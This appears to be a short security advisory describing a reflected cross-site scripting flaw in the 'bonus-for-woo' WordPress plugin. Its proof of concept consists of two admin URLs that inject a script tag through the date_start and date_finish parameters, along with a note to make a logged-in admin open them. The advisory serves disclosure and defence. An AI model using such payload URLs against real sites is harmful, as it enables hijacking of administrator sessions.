Description The plugin does not sanitise and escape some parameters before outputting them back in pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
Make a logged in admin open one of the URL below
https://example.com/wp-admin/admin.php?page=bonus-for-woo%2Findex%2Flist_history.php&date_start=1"><script>alert(/XSS/)%3B<%2Fscript>
https://example.com/wp-admin/admin.php?page=bonus-for-woo%2Findex%2Flist_history.php&date_finish=1"><script>alert(/XSS/)%3B<%2Fscript>